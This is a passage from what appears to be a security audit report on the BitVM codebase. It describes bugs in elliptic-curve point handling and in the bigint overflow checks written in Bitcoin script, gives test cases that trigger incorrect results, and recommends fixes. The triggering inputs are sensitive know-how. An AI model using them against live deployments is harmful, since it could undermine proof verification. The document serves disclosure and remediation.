Note how `t` is obtained by extracting the coordinates from `hint_in_t` and then wrapping those in `G1Affine` again using `G1Affine::new_unchecked`. Should the public value be zero, the point `hint_in_t` will be the point at infinity, and so in practice `G1Affine { x : 0, y : 0, infinity : true }`. However, the new `t` will be the malformed `G1Affine` value `G1Affine { x : 0, y : 0, infinity : false }`. This will break the addition `let r = (t + q).into_affine();`. While `r` should, in the case that `hint_in_t` is the point at infinity, be equal to `hint_in_q`, in most cases we will instead obtain coordinates that do not even lie on the curve.

This can be observed by running segment generation with a proof with public input zero, and printing out the value sof `hint_in_t`, `hint_in_q`, `t`, `q`, and `r`:

```
ZELLIC: In chunk_hash_p, hint_in_t = infinity while t = (0, 0)
ZELLIC: In chunk_hash_p, hint_in_q = (1, 2) while q = (1, 2)
ZELLIC: In chunk_hash_p, correct sum = (1, 2) while r = (3,
21888242871839275222246405745257275088696311157297823662689037894645226208577)
```

In the following, we consider the case in which the public input and thus `hint_in_t` are zero, while `hint_in_q` is nonzero.

The function `chunk_hash_p` returns `r` as the result of the computation, and its caller `wrap_hint_hash_p` from bitvm/src/chunk/g16_runner_utils.rs will save this malformed `r` as the result of the PreMillerHashP segment.

The corresponding script uses the script generated by `hinted_check_add` in bitvm/src/bn254/g1.rs for the addition of the two points. This, however, does support one of the two points being `(0,0)`, detecting this as the point at infinity and computing the correct result.

However, we see another Rust-side issue in `hinted_check_add` regarding hint generation:

```rust
if !t.is_zero() && !q.is_zero() {
    hints.push(Hint::Fq(alpha));
    hints.push(Hint::Fq(-bias));
    hints.extend(hint1);
    hints.extend(hint2);
}
```

The script special-cases one of the two points being `(0, 0)` and does not consume any computational hints in that case. However, because the `infinity` field of `t` is incorrectly set to `false`, too many hints will be returned.

The upshot so far is that if the public value is zero (and a relevant verifying key point is nonzero), then the `result` stored in the PreMillerHashP segment will be a malformed point, while the actual script will compute a different, well-formed point.

The next segment, PreMillerPrecomputePFromHash, will use the result from PreMillerHashP. The main function handling computations for this segment is `chunk_precompute_p_from_hash` in bitvm/src/chunk/taps_ext_miller.rs, and its argument `hint_in_p` will be precisely the malformed `r`

computed by chunk_hash_p:

```
pub(crate) fn chunk_precompute_p_from_hash(
    hint_in_p: ark_bn254::G1Affine,
) -> (ark_bn254::G1Affine, bool, Script, Vec<Hint>) {
    let mut hints = vec![];

    let mut px: ark_bn254::Fq = ark_bn254::Fq::ONE;
    let mut py: ark_bn254::Fq = ark_bn254::Fq::ONE;

    let py_is_not_zero = hint_in_p.y != ark_bn254::Fq::ZERO;

    // ...

    let p = ark_bn254::G1Affine::new_unchecked(px, py);

    // ...

    let valid_point = py_is_not_zero && p.is_on_curve();
```

In the above snippet from chunk_precompute_p_from_hash, valid_point will be set to false. This boolean is returned indicating that the PreMillerPrecomputePFromHash segment will be disprovable due to invalid inputs being asserted by the operator (see section 5.↗).

Because of this, should the operator attempt to generate the segments with assertions and corrsponding signatures for a proof with public value zero, then this will fail at this segment. Note that while the immediate issue here is that it is detected that the segment would be disprovable due to an invalid input, even if this had not happened, the operator would be using an input that does not match the actual result from the corresponding section that produced it, and so further assertions that the operator will sign will likely be incorrect.

To demonstrate this, the following test may be used:

```
#[test]
fn zellic_test_public_input_zero() {
    println!("Preparing Input");
    let public_input_int : u64 = 0;
    let public_input : ark_bn254::Fr = ark_bn254::Fr::from(public_input_int);
    let vk: ark_groth16::VerifyingKey<Bn254> = ark_groth16::VerifyingKey {
        alpha_g1: G1Affine::generator(),
        beta_g2: G2Affine::generator(),
        gamma_g2: G2Affine::generator(),
        delta_g2: G2Affine::generator(),
        gamma_abc_g1: vec![G1Affine::generator(), G1Affine::generator()],
    };
    let proof: ark_groth16::Proof<Bn254> = ark_groth16::Proof {
        a: G1Affine::generator().mul_bigint([1*1 + 1*1 + public_input_int*1 +
    1*1]).into_affine(),
```

```
        b: G2Affine::generator(),
        c: G1Affine::generator(),
    };
    let scalars = [public_input];


    println!("public input: {:?}", public_input);

    // generate segments
    println!("get_segments_from_groth16_proof");
    let (success, segments) = get_segments_from_groth16_proof(proof,
    scalars.to_vec(), &vk);
    println!("Finished generating segments, success={}", success);
    assert!(success);

    // segments to assertion
    println!("get_assertion_from_segments");
    let assts = get_assertion_from_segments(&segments);
    println!("execute_script_from_assertion");
    let res = execute_script_from_assertion(&segments, assts);

    println!("Result is none: {}", res.is_none());
    if res.is_some() {
        println!("Result id: {}", res.unwrap().0);
    }
}
```

If `public_input_int` is set to a nonzero value, a verifying key and proof with that public input will be constructed, and segments generated and executed, all without error.

However, with `public_input_int = 0`, we will see this test fail as segment generation is not successful:

```
Finished generating segments, success=false
```

This demonstrates how the described bugs related to handling malformed `G1Affine` points mean that it is impossible for operators to assert valid proofs where the public input happens to be zero.

Note that this is a local/Rust-side bug. Changing on-chain script is not necessary to fix it, so an operator could run a fixed codebase that does not contain the incorrect computation of `r`. Concretely, by making the following change in the `chunk_hash_p` function in bitvm/src/chunk/taps_msm.rs, segment generation succeeds and should result in correct assertions as well:

```
let r = (t + q).into_affine();
let r = (hint_in_t + hint_in_q).into_affine();
```

Now suppose that an operator generates assertions for a proof with public input zero, but one of the later segments is disprovable — for example, because the proof is invalid as a Groth16 proof, making the last segment disprovable.

A challenger will detect that the Groth16 proof is invalid and attempt to disprove the challenger on chain. However, running the current codebase, this will not succeed, as the hint generation for PreMillerHashP will produce an incorrect amount of hints (too many), preventing the challenger from generating a disprove transaction for PreMillerHashP or a later segment.

This can be demonstrated with the same test as above, if one performs the fix for `chunk_hash_p` that was just mentioned. In that case, generation of segments and assertions will succeed. However, executing the segments will cause a panic for PreMillerHashP originating from `utils_execute_chunked_g16` in bitvm/src/chunk/api_runtime_utils.rs:

```
let exec_result = execute_script(total_script);
if exec_result.final_stack.len() > 1 {
    for i in 0..exec_result.final_stack.len() {
        println!("{i:} {:?}", exec_result.final_stack.get(i));
    }
}
if !exec_result.success {
    if exec_result.final_stack.len() != 1 {
        println!("final {:?}", i);
        println!("final {:?}", segments[i].scr_type);
        panic!();
    }
} else {
```

The test will show the following output (extract):

```
final 21
final PreMillerHashP

thread 'chunk::api_runtime_utils::test::zellic_test_public_input_zero'
    panicked at bitvm/src/chunk/api_runtime_utils.rs:492:17:
explicit panic
stack backtrace:
   0: __rustc::rust_begin_unwind
   1: core::panicking::panic_fmt
   2: core::panicking::panic_explicit
   3: bitvm::chunk::api_runtime_utils::utils_execute_chunked_g16::
panic_cold_explicit
   4: bitvm::chunk::api_runtime_utils::utils_execute_chunked_g16
   5: bitvm::chunk::api_runtime_utils::execute_script_from_assertion
   6: core::ops::function::FnOnce::call_once
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose
    backtrace.
```

```
test chunk::api_runtime_utils::test::zellic_test_public_input_zero ... FAILED
```

The challenger will thus be prevented from disproving the operator in the PreMillerHashP or any later segment. As this is again a local/Rust-level bug rather than an issue with the scripts, the challenger would be able to still disprove the operator after this bug was fixed, as long as the deadline implied for the disproof did not yet expire.

While we described the impact of incorrect handling of `G1Affine` points in one particular instance above, we expect there to be additional issues throughout the codebase. We thus strongly recommend to not just fix the particular instances we pointed out but revise all usage of `G1Affine` and `G2Affine`.

Recommendations

Do not create malformed instantiations of the types. The functions `*_unchecked` should be avoided and only used in the rare instances where it is known that the arguments satisfy the required properties, and the efficiency gain from skipping the respective checks is important.

When instantiating ark types for elliptic curve points using coordinates reflecting the Bitcoin script stack, the case of `(0,0)` needs to be handled separately.

To represent points of the curve E' that are not necessarily in G2, introduce a separate type. The crates `ark-bn254` and `ark-ec` do not provide an addition function for general points outside of a prime order subgroup and cannot be used.

To represent coordinate pairs `(-x/y, 1/y)` as above, introduce a separate type.

Before using the coordinates of an `ark_bn254` point, check whether the point is infinity in the same function. Consider replacing direct access of the fields `x` and `y` by the functions `ark_ec::AffineRepr::{x(&self),y(&self),xy(&self)}`. These functions will return an `Option` returning `None` if the point was the point at infinity.

Always check whether the `ark_bn254` point represents infinity by using the `is_zero()` function and not by checking the coordinates to be `0`. The latter checks are artifacts of malformed instantiations of that type via `*::new_unchecked(*::ZERO, *::ZERO)`, which result in a point with `.infinity == false`.

We recommend to review usage of `G1Affine` and `G2Affine` types throughout the codebase.

Remediation

This issue has been acknowledged by ZeroSync.

3.7. Function `limb_add_with_carry_prevent_overflow` behaves incorrectly if the first summand is `head_offset/2`

Target	bigint::add		
Category	Coding Mistakes	**Severity**	High
Likelihood	Medium	**Impact**	Medium

Description

The function `limb_add_with_carry_prevent_overflow` in bitvm/src/bigint/add.rs is implemented as follows:

```
fn limb_add_with_carry_prevent_overflow(head_offset: u32) -> Script {
    script! {
        // {a} {b} {c:carry}
        OP_3DUP OP_ADD OP_ADD OP_NIP                        // {a} {b}
    {a+b+c}
        { head_offset >> 1 }                                // {a} {b}
    {a+b+c} {x}
        OP_TUCK OP_DUP OP_ADD                               // {a} {b} {x}
    {a+b+c} {2x}
        OP_2DUP                                             // {a} {b} {x}
    {a+b+c} {2x} {a+b+c} {2x}
        OP_GREATERTHANOREQUAL                               // {a} {b} {x}
    {a+b+c} {2x} {L:0/1}
        OP_NOTIF OP_NOT OP_ENDIF                            // {a} {b} {x}
    {a+b+c} {0/2x}
        OP_SUB                                              // {a} {b} {x}
    {a+b+c_nlo}
        OP_SWAP                                             // {a} {b}
    {a+b+c_nlo} {x}
        OP_2DUP                                             // {a} {b}
    {a+b+c_nlo} {x} {a+b+c_nlo} {x}
        OP_2ROT                                             // {a+b+c_nlo}
    {x} {a+b+c_nlo} {x} {a} {b}
        2 OP_PICK                                           // {a+b+c_nlo}
    {x} {a+b+c_nlo} {x} {a} {b} {x}
        OP_LESSTHAN                                         // {a+b+c_nlo}
    {x} {a+b+c_nlo} {x} {a} {sign_b}
        OP_2SWAP                                            // {a+b+c_nlo}
    {x} {a} {sign_b} {a+b+c_nlo} {x}
```

```
        OP_GREATERTHANOREQUAL                                   // {a+b+c_nlo}
    {x} {a} {sign_b} {I:0/1}
        OP_2SWAP                                                // {a+b+c_nlo}
    {sign_b} {I:0/1} {x} {a}
        OP_GREATERTHANOREQUAL                                   // {a+b+c_nlo}
    {sign_b} {I:0/1} {sign_a}
        OP_ADD OP_ADD 1 3 OP_WITHIN OP_VERIFY                   // verify
    (sign_a, sign_b, I) is not (0, 0, 0) or (1, 1, 1) which would mean overflow
    }
}
```

This function expects three numeric values `a`, `b`, and `c` on the stack. Furthermore, the argument `head_offset` is assumed to be of the form 2^w, with $w < 31$. The value `c` is assumed to be only a bit, and `a` and `b` both at most `w` bits wide, with all three being nonnegative integers as interpreted by Bitcoin script. The three values are, however, conceptualized by this script as signed integers using two's complement with a bit width of `w` bits.

In our notation, we use a_u for a interpreted as an unsigned integer and a_s for a_u interpreted as a signed integer in this manner, and similarly for b. For example, $a_u = 2^{w-1} + 1$ corresponds to $a_s = -2^{w-1} + 1$. We emphasize that with respect to instructions such as `OP_GREATERTHANOREQUAL`, the values on the stack are assumed nonnegative; it is only at the level of how `limb_add_with_carry_prevent_overflow` conceptualizes their meaning that the signed interpretation comes into play. The purpose of the script is then to pop these three values off the stack and push the two's complement encoding of $a_s + b_s + c$, as long as this is representable in w bits, and fail otherwise.

Note that the unsigned integer corresponding to a signed integer can be obtained by reduction modulo 2^w. Thus, if $-2^{w-1} \leq a_s + b_s + c < 2^{w-1}$, the script should push $(a_u + b_u + s)\%2^w$ and otherwise fail.

The script begins by computing this value and placing it on the stack (after the `OP_SUB` instruction, this value has been computed). The remaining logic is then supposed to check that $-2^{w-1} \leq a_s + b_s + c < 2^{w-1}$ and make the script fail otherwise. For this, three boolean values are obtained, as follows:

Name of the boolean	Definition
$sign_a$	$a_u \leq 2^{w-1}$
$sign_b$	$b_u < 2^{w-1}$
I	$((a_u + b_u + c)\%2^w) \geq 2^{w-1}$

The script then fails if $sign_a + sign_b + I$ is either 0 or 3.

Note that while $sign_b$ is true if and only if b is interpreted as a nonnegative number, $sign_a$ is true if and only if a is interpreted as a nonnegative number or -2^{w-1}, which suggests a unexpected

asymmetry. Correspondingly, the script misbehaves in the case that $a_u = 2^{w-1}$ (equivalently, $a_s = -2^{w-1}$).

The intended functioning of the script

To explain why the behavior is correct in the other cases and incorrect in this one, let us first discuss what the situation would be if instead of $sign_a$, a boolean s_a defined as $a_u < 2^{w-1}$ were used instead. We will also use s_b as notation for what was previously called $sign_b$.

In that case, we could write a_s and b_s in terms of a_u and b_u as follows: $a_s = a_u - (1 - s_a) \cdot 2^w$ and $b_s = b_u - (1 - s_b) \cdot 2^w$. The condition under which the script is to succeed, $-2^{w-1} \leq a_s + b_s + c < 2^{w-1}$, can then be rewritten as follows:

$$-2^{w-1} + (2 - (s_a + s_b)) \cdot 2^w \leq a_u + b_u + c < 2^{w-1} + (2 - (s_a + s_b))) \cdot 2^w$$

The definition of s_a and s_b is equivalent to $(1 - s_a) \cdot 2^{w-1} \leq a_u \leq 2^w - 1 - s_a \cdot 2^{w-1}$ and $(1 - s_b) \cdot 2^{w-1} \leq b_u \leq 2^w - 1 - s_b \cdot 2^{w-1}$. We thus get the following:

$$\begin{aligned} \text{Known: } & (2 - (s_a + s_b)) \cdot 2^{w-1} \leq a_u + b_u + c \leq 2^w + 2^w - 1 - (s_a + s_b) \cdot 2^{w-1} \\ \text{Success iff: } & -2^{w-1} + (2 - (s_a + s_b)) \cdot 2^w \leq a_u + b_u + c \leq 2^{w-1} + (2 - (s_a + s_b)) \cdot 2^w - 1 \end{aligned}$$

Let us now specialize the above by considering different options for $s_a + s_b$.

Case $s_a + s_b = 1$

In this case, we know that

$$2^{w-1} \leq a_u + b_u + c \leq 2^w + 2^{w-1} - 1$$

which is also exactly the inequality that needs to hold for success. So in this case, the script should always succeed. And indeed, no matter what I is, $s_a + s_b + I$ will be either 1 or 2, so the script will succeed.

Case $s_a + s_b = 0$

In this case, the known inequality and the success condition boil down to the following:

$$\begin{aligned} \text{Known: } & 2^w \leq a_u + b_u + c \leq 2^w + 2^w - 1 \\ \text{Success iff: } & 2^w + 2^{w-1} \leq a_u + b_u + c \leq 2^w + 2^w + 2^{w-1} - 1 \end{aligned}$$

Given what we already know, the script should succeed if and only if the following inequality holds:

$$2^w + 2^{w-1} \leq a_u + b_u + c \leq 2^w + 2^w - 1$$

Equivalently, given the range that $a_u + b_u + c$ lies in, this can also be rewritten as follows:

$$2^{w-1} \leq (a_u + b_u + c)\,\%2^w$$

This is exactly the definition of I. Thus, the script should succeed if and only if $I = 1$. And indeed, if that is the case, then $s_a + s_b + I = 1$ and the script succeeds, and otherwise $s_a + s_b + I = 0$ and the script fails.

Case $s_a + s_b = 2$

We again specialize the known inequality and success condition:

$$\begin{aligned} \text{Known:} \quad & 0 \leq a_u + b_u + c \leq 2^w - 1 \\ \text{Success iff:} \quad & -2^{w-1} \leq a_u + b_u + c \leq 2^{w-1} - 1 \end{aligned}$$

Proceeding just like in the previous case, the script should succeed if and only if $I = 0$. Indeed, if that is the case, then $s_a + s_b + I = 2$ and the script succeeds, and otherwise $s_a + s_b + I = 3$ and the script fails.

Actual behavior of the script as implemented

As the actual implementation matches the variant we discussed above except possibly in the case $a_u = 2^{w-1}$, where the correct variant above has $s_a = 0$, while the implementation has $sign_a = 1$, we can conclude that in all cases with $a_u \neq 2^{w-1}$, the criteria under which the script fails are correct.

We now discuss this remaining edge case $a_u = 2^{w-1}$, distinguishing two cases for the value of b_s.

Case $b_s < 0$

In this case, we will have $sign_a + sign_b = 1 + 0 = 1$, and no matter what I is, the script will succeed. However, we will have that $a_s + b_s < -2^{w-1}$. Thus, we can conclude that the script will succeed even though the result is incorrect due to signed arithmetic underflow in all cases where $b_s < -1$ (independently of c) as well as in the case of $b_s = -1$ when $c = 0$.

Case $b_s \geq 0$

In this case, we will have $a_s + b_s + c \geq -2^{w-1} + 0 + 0 = -2^{w-1}$ and $a_s + b_s + c \leq -2^{w-1} + 2^{w-1} - 1 + 1 = 0$, and hence the script should succeed. However, if $I = 1$, then we will have $sign_a + sign_b + I = 3$ and the script will fail. By definition, this happens when $((a_u + b_u + c)\%2^w) \geq 2^{w-1}$. If $a_u + b_u + c$ takes any value from -2^{w-1} to -1 (inclusive), this will be the case. In all those cases, the script will thus fail even though it should not. The one case where the script correctly succeeds is when $a_u + b_u + c = 0$, which happens only if $b_u = 2^{w-1} - 1$ and $c = 1$.

Impact

There is essentially a soundness and a completeness issue.

The soundness issue arises whenever $a_s = -2^{w-1}$ and $b_s + c < 0$. In this case, the script will succeed with an incorrect result. This will break assumptions made by calling scripts. Should the input to some instance of `limb_add_with_carry_prevent_overflow` be attacker-controlled, an impact of soundness on the top-level proof checker cannot be ruled out.

The completeness issue arises in legitimate calls with $a_s = -2^{w-1}$ and $b_s \geq 0$ with $b_s + c < 2^{w-1}$. In this case, the script will fail. Depending on the precise use by calling scripts, a top-level completeness issue cannot be ruled out.

The following two tests demonstrate this issue via the function `BigIntImpl<254, 29>::add_ref_with_top`.

This first test demonstrates the soundness variant. It should fail no matter whether `change` is `1<<200` or `1<<250` but only fails in the latter case. In the former case, it succeeds even though a signed overflow happens due to the discussed bug in `limb_add_with_carry_prevent_overflow`.

```
#[test]
fn zellic_test_add_ref_with_top_soundness() {
    type T = crate::bigint::BigIntImpl<254, 29>;
    let mut a : BigUint = BigUint::one().shl(253);
    let mut b : BigUint = BigUint::one().shl(254) - BigUint::one();
    let c : BigUint = BigUint::one().shl(253) - BigUint::one();

    let change : BigUint = BigUint::one().shl(200);
    a += change.clone();
    b -= change;

    let script = script! {
        { T::push_u32_le(&a.to_u32_digits()) }
        { T::push_u32_le(&b.to_u32_digits()) }
        { T::add_ref_with_top(1) }
        { T::push_u32_le(&c.to_u32_digits()) }
        { T::equalverify(1, 0) }
        { T::drop() }
        { T::drop() }
        OP_TRUE
    };
    run(script);
}
```

In contrast, the following test demonstrating completeness should succeed but does not due to the bug.

```
#[test]
fn zellic_test_add_ref_with_top_completeness() {
```

```
    type T = crate::bigint::BigIntImpl<254, 29>;
    let mut a : BigUint = BigUint::one().shl(253); // `-2^254`
    let mut b : BigUint = BigUint::one(); // `1`
    let c : BigUint = a.clone() + b.clone();

    let script = script! {
        { T::push_u32_le(&a.to_u32_digits()) }
        { T::push_u32_le(&b.to_u32_digits()) }
        { T::add_ref_with_top(1) }
        { T::push_u32_le(&c.to_u32_digits()) }
        { T::equalverify(1, 0) }
        { T::drop() }
        { T::drop() }
        OP_TRUE
    };
    run(script);
}
```

Recommendations

The last `OP_GREATERTHANOREQUAL` needs to be `OP_GREATERTHAN` instead. With this change, the script will replace $sign_a$ by the definition of s_a, which will cause correct behavior.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit c44390e7 ↗.

3.8. Function `add_ref` deals incorrectly with the potential of signed overflows and underflows

Target	bigint::add		
Category	Coding Mistakes	**Severity**	High
Likelihood	High	**Impact**	High

Description

The following function in bitvm/src/bigint/add.rs is intended to add two bigint values that are interpreted as signed integers, while preventing signed overflows, making the script fail if a signed overflow would have happened:

```
/// Add BigInt on top of the stack to a BigInt at `b` depth in the stack
///
/// # Note
///
/// This function consumes the BigInt on top of the stack while not consuming
/// the referenced BigInt
pub fn add_ref(b: u32) -> Script {
    let b_depth = b * Self::N_LIMBS;
    assert_ne!(b, 0);
    script! {
        { b_depth } OP_PICK
        OP_ADD

        // OP_DEPTH OP_1SUB OP_PICK
        { 1 << LIMB_SIZE }
        OP_SWAP

        { limb_add_create_carry() }
        OP_TOALTSTACK

        for _ in 0..Self::N_LIMBS - 2 {
            OP_ROT
            { b_depth + 2 } OP_PICK
            OP_ADD
            OP_ADD { limb_add_create_carry() } OP_TOALTSTACK
        }

        OP_NIP
        { b_depth + 1 } OP_PICK
```

```
        OP_ROT
        { limb_add_with_carry_prevent_overflow(Self::HEAD_OFFSET) }

        for _ in 0..Self::N_LIMBS - 1 {
            OP_FROMALTSTACK
        }
    }
}
```

After the last iteration of the first loop, the top of the stack will look as follows, with the topmost item on the right:

```
... y_{N_LIMBS-1} (1<<LIMB_SIZE) carry_{N_LIMBS - 2}
```

The `OP_NIP` instruction drops the `(1<<LIMB_SIZE)` in the middle, and then `{ b_depth + 1 }` `OP_PICK` copies the last limb from the other summand to the top:

```
y_{N_LIMBS-1} carry_{N_LIMBS - 2} x_{N_LIMBS - 1}
```

The `OP_ROT` instruction then moves `y_{N_LIMBS-1}` to the top so that we are left with the top three items on the stack in the following order before the `limb_add_with_carry_prevent_overflow` script:

```
carry_{N_LIMBS - 2} x_{N_LIMBS - 1} y_{N_LIMBS-1}
```

However, `limb_add_with_carry_prevent_overflow` expects the stack to be in the order `a b carry`, with the carry on top and the two limbs below. Note that while `limb_add_with_carry_prevent_overflow` calculates the sum `a + b + carry` modulo `Self::HEAD_OFFSET`, for which the order of the three items would not matter, it also checks that no signed arithmetic overflow or underflow occurs, making the script fail if it would. See Finding 3.7. ↗ for more details on the specification and intended behavior of `limb_add_with_carry_prevent_overflow`. What is relevant for this finding is that `limb_add_with_carry_prevent_overflow` relies on `0 <= a, b < Self::HEAD_OFFSET` as well as `0 <= carry <= 1` for the overflow check to be accurate.

In this case, we will have `a = carry_{N_LIMBS - 2}`, `b = x_{N_LIMBS - 1}` and `carry = y_{N_LIMBS-1}`. While the assumption `limb_add_with_carry_prevent_overflow` makes on `a` and `b` are satisfied, they are not satisfied for `carry`.

Impact

We assume the reader is familiar with our description from Finding 3.7. ↗ regarding how `limb_add_with_carry_prevent_overflow` is implemented, and we will use notation from there. What should be enforced is $-2^{w-1} \leq a_s + b_s + c < 2^{w-1}$, where `Self::HEAD_OFFSET` is equal to 2^w. As a_u is either zero or one in this case, we will have $sign_a = 1$. The script will then fail if and

only if $b_u < 2^{w-1}$ and $((a_u + b_u + c)\%2^w) \geq 2^{w-1}$. In other words, the script will fail if and only if the signed value represented by `x_{N_LIMBS - 1}` is nonnegative, and the signed value obtained as the sum is negative.

This has both soundness and completeness implications. Regarding soundness, when `x_{N_LIMBS - 1}` as well as `y_{N_LIMBS - 1}` are negative, with their sum being smaller than -2^{w-1}, then a signed arithmetic underflow will occur, but the script will still succeed and produce an incorrect result.

Regarding completeness, if `x_{N_LIMBS - 1}` is nonnegative and `y_{N_LIMBS - 1}` is negative, with the full signed sum (including also the carry that is) being negative, then the script will fail even though no arithmetic overflow or underflow occurred.

The soundness variant is demonstrated by the following test, which should fail but succeeds:

```
#[test]
fn zellic_test_add_ref_soundness() {
    type T = crate::bigint::BigIntImpl<254, 29>;
    let mut a : BigUint = BigUint::one().shl(253); // `-2^253`
    let mut b : BigUint = BigUint::one().shl(254) - BigUint::one(); // `-1`
    let c : BigUint = BigUint::one().shl(253) - BigUint::one(); // `2^253 - 1`

    let script = script! {
        { T::push_u32_le(&a.to_u32_digits()) }
        { T::push_u32_le(&b.to_u32_digits()) }
        { T::add_ref(1) }
        { T::push_u32_le(&c.to_u32_digits()) }
        { T::equalverify(1, 0) }
        { T::drop() }
        OP_TRUE
    };
    run(script);
}
```

This second test demonstrates the completeness variant by failing:

```
#[test]
fn zellic_test_add_ref_completeness() {
    type T = crate::bigint::BigIntImpl<254, 29>;
    let mut a : BigUint = BigUint::ZERO; // `0`
    let mut b : BigUint = BigUint::one().shl(254) - BigUint::one(); // `-1`
    let c : BigUint = a.clone() + b.clone(); // `-1`

    let script = script! {
        { T::push_u32_le(&a.to_u32_digits()) }
        { T::push_u32_le(&b.to_u32_digits()) }
        { T::add_ref(1) }
        { T::push_u32_le(&c.to_u32_digits()) }
```

```
        { T::equalverify(1, 0) }
        { T::drop() }
        OP_TRUE
    };
    run(script);
}
```

In the current state of the code, `add_ref` is used by `tmul` in bitvm/src/bn254/fq.rs. We have not analyzed whether the soundness and completeness impact is reachable through `tmul`.

Recommendations

The `OP_ROT` instruction should be an `OP_SWAP` instead. With this change, the stack

```
y_{N_LIMBS-1} carry_{N_LIMBS - 2} x_{N_LIMBS - 1}
```

would be transformed to

```
y_{N_LIMBS-1} x_{N_LIMBS - 1} carry_{N_LIMBS - 2}
```

with the carry value at the top, as expected by `limb_add_with_carry_prevent_overflow`.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit c44390e7 ↗.

3.9. Function `limb_double_with_carry_prevent_overflow` behaves incorrectly in two cases

Target	bigint::add		
Category	Coding Mistakes	**Severity**	High
Likelihood	Medium	**Impact**	Medium

Description

This finding concerns the function `limb_double_with_carry_prevent_overflow` in bitvm/src/bigint/add.rs, whose role is to compute doublings in a manner analogous to the addition case of `limb_add_with_carry_prevent_overflow`. This finding is very similar to Finding 3.7. ↗ for `limb_add_with_carry_prevent_overflow`, and we will use similar notation and assume that the reader is familiar with the exposition of that finding.

The function `limb_double_with_carry_prevent_overflow` is implemented very similar to `limb_add_with_carry_prevent_overflow`, and it uses the following two booleans to check whether an arithmetic overflow occurred:

Name of the boolean	Definition
$sign_a$	$a_u < 2^{w-1}$
I	$((2 \cdot a_u + c)\%2^w) > 2^{w-1}$

The function then verifies that exactly one of these conditions is true.

For details on this condition, refer to Finding 3.7. ↗. Function `limb_double_with_carry_prevent_overflow` can be understood as a specific case of `limb_add_with_carry_prevent_overflow` where the summands a and b are equal and consequently so are $sign_a$ and $sign_b$.

Similarly to the bug in Finding 3.7. ↗, one of the booleans is defined incorrectly, in this case I, which should be defined as $I' = ((2 \cdot a_u + c)\%2^w) \geq 2^{w-1}$. The discussion in that finding shows that the script should fail if and only if $2 \cdot sign_a + I'$ is either 0 or 3. Note that this condition is equivalent to $sign_a$ and I' being equal.

Intuitively, $sign_a$ is the sign bit of the input and I is complement of the sign bit of the result after doubling. If the sign of the input and output were different, it would signal a signed arithmetic overflow or underflow. Hence, checking that $sign_a \neq I$ is a necessary and sufficient condition to prevent overflow.

This implies that the script will behave correctly in all cases in which I does not differ from I', and

hence it only remains to consider the case of $(2 \cdot a_u + c)\%2^w = 2^{w-1}$. In this case, I will be 0.

When can this happen? Note that c must be zero, as 2^{w-1} is odd. The two possible values for a_u are $a_u = 2^{w-2}$ (corresponding to $a_s = 2^{w-2}$ and $2 \cdot a_u + c = 2^{w-1}$) and $a_u = 2^{w-1} + 2^{w-2}$ (corresponding to $a_s = -2^{w-2}$ and $2 \cdot a_u + c = 2^w + 2^{w-1}$).

Case $a_s = 2^{w-2}, c = 0$

In this case, $sign_a = 1$ and so the script will succeed, with an incorrect returned result that in signed interpretation is -2^{w-1}.

Case $a_s = -2^{w-2}, c = 0$

In this case, $sign_a = 0$ and so the script will fail, even though the computed result -2^{w-1} would have been correct.

Impact

The case of $a_s = 2^{w-2}, c = 0$ amounts to a soundness issue, as an incorrect value is returned. The case $a_s = -2^{w-2}, c = 0$ instead leads to a completeness issue.

The latter is demonstrated by the following script:

```
fn zellic_test_double_limb_overflow() {
        let double_script = limb_double_with_carry_prevent_overflow(4194304);
    // h = 2^22
        let script = script! {
            {3145728} // a = 3h/4 which is the signed representation for -h/4,
    causing I to be -h/2
            {0}
            {double_script}
        };

        run(script);
    }
```

Note that `limb_double_with_carry_prevent_overflow` is only called by `double_prevent_overflow`. This function is in turn only used in a dead branch of the `tmul` script (the branch is only taken in the case where `MOD_WIDTH` and `VAR_WIDTH` are unequal, but it is asserted earlier that `MOD_WIDTH` and `VAR_WIDTH` are equal). Thus, there is no way to exploit this issue in the present codebase. However, we still assign this as High severity due to the Finding 3.15. ↗. Fixing that finding requires replacing a call to `T::double_allow_overflow_keep_element` by an alternative that prevents overflows. Such a fix may involve `limb_double_with_carry_prevent_overflow`. However, given the finding discussed here, this

would introduce new soundness and completeness issues to `tmul` without fixing this issue as well.

Recommendations

We recommend updating the method as follows.

```
fn limb_double_with_carry_prevent_overflow(head_offset: u32) -> Script {
    script! {
        // {a} {c:carry}
        OP_OVER                                          // {a} {c} {a}
        OP_DUP OP_ADD OP_ADD                             // {a} {2a+c}
        { head_offset >> 1 }                             // {a} {2a+c} {x}
        OP_TUCK OP_DUP OP_ADD                            // {a} {x} {2a+c} {2x}
        OP_2DUP OP_GREATERTHANOREQUAL                    // {a} {x} {2a+c}
    {2x} {L:0/1}
        OP_NOTIF OP_NOT OP_ENDIF OP_SUB                  // {a} {x} {2a+c_nlo}
        OP_2DUP OP_LESSTHAN                               // {a} {x} {2a+c_
            nlo} {I:0/1}
        OP_2DUP OP_LESSTHANOREQUAL                        // {a} {x} {2a+c_
            nlo} {I:0/1}
        OP_2SWAP                                         // {2a+c_nlo} {I:0/1}
    {a} {x}
        OP_LESSTHAN                                      // {2a+c_nlo} {I:0/1}
    {sign_a}

        OP_NUMNOTEQUAL OP_VERIFY                         // sign_a must be
    different than I
    }
}
```

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `c44390e7` ↗.

3.10. Bigint's `from_bytes` method permits values larger than `1 << N_BITS`

Target	bigint::bits		
Category	Coding Mistakes	**Severity**	High
Likelihood	High	**Impact**	High

Description

The bigint module represents integers modulo $2^{\texttt{N_BITS}}$ as limbs each being under $2^{\texttt{LIMB_SIZE}}$, with the most significant limb being under $2^{\texttt{HEAD}}$, which is strictly less than $2^{\texttt{LIMB_SIZE}}$ if `N_BITS % LIMB_SIZE != 0`. The `from_bytes` method is intended to convert a sequence of bytes on the stack (effectively limbs of a bigint with a limb size of 8) to the target limb size, using the `limb_from_bytes` method to convert each limb. It currently (at the time of writing) checks that each stack element it consumes is one byte (by checking that it is less than 256), which guarantees that each limb is at most $2^{8\cdot\left\lceil\frac{\texttt{LIMB_SIZE}}{8}\right\rceil}$, which is potentially larger than $2^{\texttt{LIMB_SIZE}}$.

Impact

Allowing bigints that are not reduced modulo $2^{\texttt{N_BITS}}$ may cause subsequent calculations to be incorrect. Note that the codebase in scope for this audit does not include usage of `from_bytes`.

The following unit tests demonstrate the issue (with `test_u254_from_bytes_boundary_fail` incorrectly not panicking):

```
